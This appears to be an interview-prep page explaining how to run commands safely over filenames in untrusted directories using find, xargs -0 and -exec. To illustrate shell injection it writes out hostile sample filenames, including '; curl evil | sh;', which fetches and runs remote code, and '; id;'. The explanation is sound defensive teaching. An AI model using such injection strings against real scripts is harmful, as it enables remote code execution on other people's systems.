skip to content

You need to run a command over every matching file in a tree that untrusted users can create files in. Compare `find . -type f | xargs cmd`, `find . -type f -print0 | xargs -0 cmd`, `find . -type f -exec cmd {} \;` and `find . -type f -exec cmd {} +`.

level: middleimportance: should knowfreq 52%

answer

  1. a path can contain almost any byte
  2. only NUL and slash are excluded
  3. xargs also honours quotes by default
  4. exec hands arguments straight to execve
  5. plus batches, semicolon does not

basics

~20 s

Plain find piped to xargs splits names on whitespace and gives quotes and backslashes special meaning, so hostile filenames break it. find -print0 with xargs -0 delimits on NUL, which no filename can contain; find -exec cmd {} + gets the same safety without a pipe, and -exec cmd {} ; is safe but runs one process per file.

solid answer

~50 s

The first form is the broken one: `xargs` with no options splits its input on blanks and newlines, and also treats single quotes, double quotes and backslashes as quoting characters, so a file called `it's here.txt` can produce an unterminated-quote error and `a b.txt` becomes two arguments. `-print0` makes find terminate each name with a NUL byte and `-0` makes xargs split only on NUL — the one byte that cannot appear in a path, so the encoding is unambiguous. `-exec cmd {} \;` never involves a shell or a delimiter at all: find execs the command directly with the name as one argument, which is safe but costs a process per file. `-exec cmd {} +` batches as many names as fit within the argument limit, giving xargs-like efficiency with no pipe and no encoding step, and it is POSIX. My default is `-exec ... +`, dropping to `-print0 | xargs -0` when I need xargs features like `-P` for parallelism.

code

bash · 10 lines
bash
# safe and batched: no shell, no delimiter to get wrong, POSIX
find /var/uploads -type f -name '*.tmp' -exec rm -- {} +

# safe with NUL delimiting, when you want an xargs feature such as -P
find /var/uploads -type f -name '*.log' -print0 |
  xargs -0 -r -P 4 -n 20 gzip --

# needs shell features: pass the name as $1, never inside the script text
find /var/uploads -type f -name '*.log' \
  -exec sh -c 'gzip -c -- "$1" > "$1.gz"' _ {} \;

go deeper

for a junior

Remember the idiom find -print0 piped to xargs -0, and know why it exists: filenames can contain spaces and newlines, and NUL is the only separator none of them can contain. Prefer find -exec when in doubt.

for a middle

Explain that default xargs splits on blanks and newlines and also processes quote and backslash characters, then contrast -exec with a semicolon (one process per file, no encoding at all) against -exec with a plus (batched within the argument limit).

for a senior

Show judgment on a large tree: pick the plus form by default for process cost, drop to xargs -0 only when you need parallelism or batch control, and never interpolate the found name into an sh -c script string — pass it as a positional parameter.

for a principal

Own the convention across the team's tooling: NUL-delimited streams end to end, no filename ever crossing a line-oriented boundary, and a documented answer for the portability gap where -print0 is unavailable.

## The problem with a newline-delimited list A POSIX path may contain any byte except NUL and the `/` separator. Newline, space, tab, quote characters and leading dashes are all legal. So the moment a list of filenames travels through a line-oriented pipe, the encoding is lossy: the receiver cannot tell one file named `a\nb` from two files named `a` and `b`. In a directory untrusted users write to, producing that name is trivial. ## What plain xargs does `xargs` with no delimiter option is worse than "splits on newlines". Its default input format splits on any blank *or* newline, **and** it honours quoting: a single- or double-quoted run is taken as one argument, and a backslash escapes the next character. So real filenames misbehave in three ways: ``` quarterly report.pdf -> two arguments it's here.txt -> xargs: unmatched single quote back\slash.txt -> the backslash is eaten ``` It also has an argument-list limit and will silently start a second invocation of the command when the batch is full — fine for `rm`, surprising for a command that expects to see the whole set at once. ## The NUL-delimited form `find -print0` writes each path followed by a NUL byte, and `xargs -0` splits only on NUL and disables all quoting and escape processing. Because NUL cannot occur inside a path, the stream is unambiguous by construction. This is the reason the idiom exists — it is not a style preference. ```bash find /var/uploads -type f -name '*.tmp' -print0 | xargs -0 -r rm -- ``` `-r` (GNU: `--no-run-if-empty`) stops xargs invoking the command once with no arguments when the stream is empty; not every implementation needs it, but writing it costs nothing. Note that `-print0` and `-0` are widely implemented extensions rather than POSIX. ## The two -exec forms `-exec cmd {} \;` makes find call the command itself, once per match, passing the path as a single argument via the exec system call. No shell, no delimiter, no quoting question — it is completely safe with any filename. The cost is one process per file, which is real when the tree has a hundred thousand entries. `-exec cmd {} +` collects matches and appends as many as fit within the system's argument-length limit, running the command a handful of times instead. It is equally safe, is specified by POSIX, and needs no encode/decode step, because find hands the arguments straight to `execve`. The constraint is that `{}` must be the last thing before the `+`, so you cannot put arguments after the filename list. On exit status: with `\;` find reports failure of the command per invocation in its own exit status handling, and with `+` a nonzero command exit makes find exit nonzero — but neither aborts the traversal. If you need the pipeline to fail loudly, check explicitly rather than assuming a nonzero status propagates the way you want. ## When you genuinely need a shell per file Some work needs shell features — a redirection, a variable, a pipeline. Do **not** interpolate `{}` into a script string, because that puts the filename into shell syntax. Pass it as a positional parameter instead: ```bash find . -type f -name '*.log' -exec sh -c 'gzip -c -- "$1" > "$1.gz"' _ {} \; ``` The script text is a constant single-quoted literal, `_` fills `$0`, and each filename arrives as `$1` already parsed. Writing `sh -c "gzip {} "` instead would be a command-injection hole, because a file named `; id;` becomes commands. ## Choosing - Default to `-exec cmd {} +`: safe, batched, portable, no pipe. - Use `-print0 | xargs -0` when you want an xargs feature — notably `-P` for bounded parallelism, or `-n` to control batch size. - Use `-exec cmd {} \;` when the command must see exactly one file per run. - Never use the bare pipe into xargs on paths you did not generate yourself, and be aware that the same reasoning applies to `grep -Z`, `sort -z` and `read -d ''` when you build longer NUL-delimited pipelines. The underlying rule is one sentence: **keep filename boundaries out of band**. Every safe form above either never serialises the list at all (exec) or serialises it with a delimiter the data cannot contain (NUL).

  • Why must {} be the last argument when you use -exec with a plus sign?
    Because find builds the command line by appending as many filenames as fit at the end of the argument vector, exactly as xargs does. There is no way to place fixed arguments after a variable-length list, so POSIX requires `{}` immediately before the `+`. If you need trailing arguments, use the `\;` form, or wrap the command in `sh -c '...' _ {} +` and consume the names as `"$@"`.
  • Someone writes find . -name '*.log' -exec sh -c "gzip {}" \; — what is wrong with it?
    The filename is spliced into a script string that sh then parses, so a file named `; curl evil | sh;` executes as commands, and any name with a space breaks the gzip invocation. The fix is to keep the script text constant and pass the name as a parameter: `-exec sh -c 'gzip -- "$1"' _ {} \;`.
  • How do you carry a NUL-delimited list further down a pipeline instead of ending it at xargs?
    Use the NUL-aware modes of the downstream tools: `grep -z`/`-Z`, `sort -z`, `sed -z` on GNU systems, and in bash read the stream with `while IFS= read -r -d '' name`. Feed the loop with process substitution rather than a pipe if the body needs to set variables the rest of the script will see.

saying these in an interview costs you the question

  • xargs only splits on newlines, so it is fine
  • Quoting the filenames in find output would fix the pipe
  • -exec with a semicolon is unsafe for odd filenames
  • -print0 is about speed rather than correctness
  • Interpolating {} into sh -c is equivalent to passing it as $1

context